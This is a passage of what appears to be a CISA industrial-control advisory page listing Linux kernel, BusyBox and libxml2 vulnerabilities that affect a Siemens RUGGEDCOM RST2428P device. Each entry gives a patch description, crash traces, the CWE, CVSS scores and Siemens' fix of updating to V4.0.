fffffffffffffff8 R14: 0000000000000000 R15: ff2d24c78697c0c0 [ 1136.020677] FS: 0000000000000000(0000) GS:ff2d24d6bfa00000(0000) knlGS:0000000000000000 [ 1136.028765] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1136.034510] CR2: 00007fd207f90b80 CR3: 000000163ea22003 CR4: 0000000000f73ef0 [ 1136.041641] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1136.048776] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400 [ 1136.055910] PKRU: 55555554 [ 1136.058623] Call Trace: [ 1136.061074] [ 1136.063179] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.067540] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.071898] ? move_linked_works+0x4a/0xa0 [ 1136.075998] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.081744] ? __die_body.cold+0x8/0x12 [ 1136.085584] ? die+0x2e/0x50 [ 1136.088469] ? do_trap+0xca/0x110 [ 1136.091789] ? do_error_trap+0x65/0x80 [ 1136.095543] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.101289] ? exc_invalid_op+0x50/0x70 [ 1136.105127] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.110874] ? asm_exc_invalid_op+0x1a/0x20 [ 1136.115059] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.120806] move_linked_works+0x4a/0xa0 [ 1136.124733] worker_thread+0x216/0x3a0 [ 1136.128485] ? __pfx_worker_thread+0x10/0x10 [ 1136.132758] kthread+0xfa/0x240 [ 1136.135904] ? __pfx_kthread+0x10/0x10 [ 1136.139657] ret_from_fork+0x31/0x50 [ 1136.143236] ? __pfx_kthread+0x10/0x10 [ 1136.146988] ret_from_fork_asm+0x1a/0x30 [ 1136.150915]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40261">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1341.html">CWE-1341 Multiple Releases of Same Resource or Handle</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40262</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: Input: imx_sc_key - fix memory corruption on unload This is supposed to be "priv" but we accidentally pass "&amp;priv" which is an address in the stack and so it will lead to memory corruption when the imx_sc_key_action() function is called. Remove the &amp;.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40262">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40263</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: Input: cros_ec_keyb - fix an invalid memory access If cros_ec_keyb_register_matrix() isn't called (due to `buttons_switches_only`) in cros_ec_keyb_probe(), `ckdev-&gt;idev` remains NULL. An invalid memory access is observed in cros_ec_keyb_process() when receiving an EC_MKBP_EVENT_KEY_MATRIX event in cros_ec_keyb_work() in such case. Unable to handle kernel read from unreadable memory at virtual address 0000000000000028 ... x3 : 0000000000000000 x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000 Call trace: input_event cros_ec_keyb_work blocking_notifier_call_chain ec_irq_thread It's still unknown about why the kernel receives such malformed event, in any cases, the kernel shouldn't access `ckdev-&gt;idev` and friends if the driver doesn't intend to initialize them.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40263">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40264</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: be2net: pass wrb_params in case of OS2BMC be_insert_vlan_in_pkt() is called with the wrb_params argument being NULL at be_send_pkt_to_bmc() call site.  This may lead to dereferencing a NULL pointer when processing a workaround for specific packet, as commit bc0c3405abbb ("be2net: fix a Tx stall bug caused by a specific ipv6 packet") states. The correct way would be to pass the wrb_params from be_xmit().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40264">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40271</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs/proc: fix uaf in proc_readdir_de() Pde is erased from subdir rbtree through rb_erase(), but not set the node to EMPTY, which may result in uaf access. We should use RB_CLEAR_NODE() set the erased node to EMPTY, then pde_subdir_next() will return NULL to avoid uaf access. We found an uaf issue while using stress-ng testing, need to run testcase getdent and tun in the same time. The steps of the issue is as follows: 1) use getdent to traverse dir /proc/pid/net/dev_snmp6/, and current pde is tun3; 2) in the [time windows] unregister netdevice tun3 and tun2, and erase them from rbtree. erase tun3 first, and then erase tun2. the pde(tun2) will be released to slab; 3) continue to getdent process, then pde_subdir_next() will return pde(tun2) which is released, it will case uaf access. CPU 0 | CPU 1 ------------------------------------------------------------------------- traverse dir /proc/pid/net/dev_snmp6/ | unregister_netdevice(tun-&gt;dev) //tun3 tun2 sys_getdents64() | iterate_dir() | proc_readdir() | proc_readdir_de() | snmp6_unregister_dev() pde_get(de); | proc_remove() read_unlock(&amp;proc_subdir_lock); | remove_proc_subtree() | write_lock(&amp;proc_subdir_lock); [time window] | rb_erase(&amp;root-&gt;subdir_node, &amp;parent-&gt;subdir); | write_unlock(&amp;proc_subdir_lock); read_lock(&amp;proc_subdir_lock); | next = pde_subdir_next(de); | pde_put(de); | de = next; //UAF | rbtree of dev_snmp6 | pde(tun3) / \ NULL pde(tun2)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40271">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/625.html">CWE-625 Permissive Regular Expression</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40278</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sched: act_ife: initialize struct tc_ife to fix KMSAN kernel-infoleak Fix a KMSAN kernel-infoleak detected by the syzbot . [net?] KMSAN: kernel-infoleak in __skb_datagram_iter In tcf_ife_dump(), the variable 'opt' was partially initialized using a designatied initializer. While the padding bytes are reamined uninitialized. nla_put() copies the entire structure into a netlink message, these uninitialized bytes leaked to userspace. Initialize the structure with memset before assigning its fields to ensure all members and padding are cleared prior to beign copied. This change silences the KMSAN report and prevents potential information leaks from the kernel memory. This fix has been tested and validated by syzbot. This patch closes the bug reported at the following syzkaller link and ensures no infoleak.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40278">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40280</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tipc: Fix use-after-free in tipc_mon_reinit_self(). syzbot reported use-after-free of tipc_net(net)-&gt;monitors[] in tipc_mon_reinit_self(). [0] The array is protected by RTNL, but tipc_mon_reinit_self() iterates over it without RTNL. tipc_mon_reinit_self() is called from tipc_net_finalize(), which is always under RTNL except for tipc_net_finalize_work(). Let's hold RTNL in tipc_net_finalize_work(). [0]: BUG: KASAN: slab-use-after-free in __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline] BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0xa7/0xf0 kernel/locking/spinlock.c:162 Read of size 1 at addr ffff88805eae1030 by task kworker/0:7/5989 CPU: 0 UID: 0 PID: 5989 Comm: kworker/0:7 Not tainted syzkaller #0 PREEMPT_{RT,(full)} Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025 Workqueue: events tipc_net_finalize_work Call Trace: dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xca/0x240 mm/kasan/report.c:482 kasan_report+0x118/0x150 mm/kasan/report.c:595 __kasan_check_byte+0x2a/0x40 mm/kasan/common.c:568 kasan_check_byte include/linux/kasan.h:399 [inline] lock_acquire+0x8d/0x360 kernel/locking/lockdep.c:5842 __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline] _raw_spin_lock_irqsave+0xa7/0xf0 kernel/locking/spinlock.c:162 rtlock_slowlock kernel/locking/rtmutex.c:1894 [inline] rwbase_rtmutex_lock_state kernel/locking/spinlock_rt.c:160 [inline] rwbase_write_lock+0xd3/0x7e0 kernel/locking/rwbase_rt.c:244 rt_write_lock+0x76/0x110 kernel/locking/spinlock_rt.c:243 write_lock_bh include/linux/rwlock_rt.h:99 [inline] tipc_mon_reinit_self+0x79/0x430 net/tipc/monitor.c:718 tipc_net_finalize+0x115/0x190 net/tipc/net.c:140 process_one_work kernel/workqueue.c:3236 [inline] process_scheduled_works+0xade/0x17b0 kernel/workqueue.c:3319 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3400 kthread+0x70e/0x8a0 kernel/kthread.c:463 ret_from_fork+0x439/0x7d0 arch/x86/kernel/process.c:148 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 Allocated by task 6089: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __kmalloc_cache_noprof+0x1a8/0x320 mm/slub.c:4407 kmalloc_noprof include/linux/slab.h:905 [inline] kzalloc_noprof include/linux/slab.h:1039 [inline] tipc_mon_create+0xc3/0x4d0 net/tipc/monitor.c:657 tipc_enable_bearer net/tipc/bearer.c:357 [inline] __tipc_nl_bearer_enable+0xe16/0x13f0 net/tipc/bearer.c:1047 __tipc_nl_compat_doit net/tipc/netlink_compat.c:371 [inline] tipc_nl_compat_doit+0x3bc/0x5f0 net/tipc/netlink_compat.c:393 tipc_nl_compat_handle net/tipc/netlink_compat.c:-1 [inline] tipc_nl_compat_recv+0x83c/0xbe0 net/tipc/netlink_compat.c:1321 genl_family_rcv_msg_doit+0x215/0x300 net/netlink/genetlink.c:1115 genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0x60e/0x790 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x208/0x470 net/netlink/af_netlink.c:2552 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline] netlink_unicast+0x846/0xa10 net/netlink/af_netlink.c:1346 netlink_sendmsg+0x805/0xb30 net/netlink/af_netlink.c:1896 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x21c/0x270 net/socket.c:729 ____sys_sendmsg+0x508/0x820 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x1a1/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40280">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40281</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: sctp: prevent possible shift-out-of-bounds in sctp_transport_update_rto syzbot reported a possible shift-out-of-bounds [1] Blamed commit added rto_alpha_max and rto_beta_max set to 1000. It is unclear if some sctp users are setting very large rto_alpha and/or rto_beta. In order to prevent user regression, perform the test at run time. Also add READ_ONCE() annotations as sysctl values can change under us. [1] UBSAN: shift-out-of-bounds in net/sctp/transport.c:509:41 shift exponent 64 is too large for 32-bit type 'unsigned int' CPU: 0 UID: 0 PID: 16704 Comm: syz.2.2320 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/02/2025 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x16c/0x1f0 lib/dump_stack.c:120 ubsan_epilogue lib/ubsan.c:233 [inline] __ubsan_handle_shift_out_of_bounds+0x27f/0x420 lib/ubsan.c:494 sctp_transport_update_rto.cold+0x1c/0x34b net/sctp/transport.c:509 sctp_check_transmitted+0x11c4/0x1c30 net/sctp/outqueue.c:1502 sctp_outq_sack+0x4ef/0x1b20 net/sctp/outqueue.c:1338 sctp_cmd_process_sack net/sctp/sm_sideeffect.c:840 [inline] sctp_cmd_interpreter net/sctp/sm_sideeffect.c:1372 [inline]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40281">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1335.html">CWE-1335 Incorrect Bitwise Shift of Integer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40345</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: usb: storage: sddr55: Reject out-of-bound new_pba Discovered by Atuin - Automated Vulnerability Discovery Engine. new_pba comes from the status packet returned after each write. A bogus device could report values beyond the block count derived from info-&gt;capacity, letting the driver walk off the end of pba_to_lba[] and corrupt heap memory. Reject PBAs that exceed the computed block count and fail the transfer so we avoid touching out-of-range mapping entries.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40345">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-46394</a></h3>
<div class="csaf-accordion-content">
<p>In tar in BusyBox through 1.37.0, a TAR archive can have filenames hidden from a listing through the use of terminal escape sequences.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-46394">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/451.html">CWE-451 User Interface (UI) Misrepresentation of Critical Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.2</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-49794</a></h3>
<div class="csaf-accordion-content">
<p>A use-after-free vulnerability was found in libxml2. This issue occurs when parsing XPath elements under certain circumstances when the XML schematron has the schema elements. This flaw allows a malicious actor to craft a malicious XML document used as input for libxml, resulting in the program's crash using libxml or other possible undefined behaviors.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-49794">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
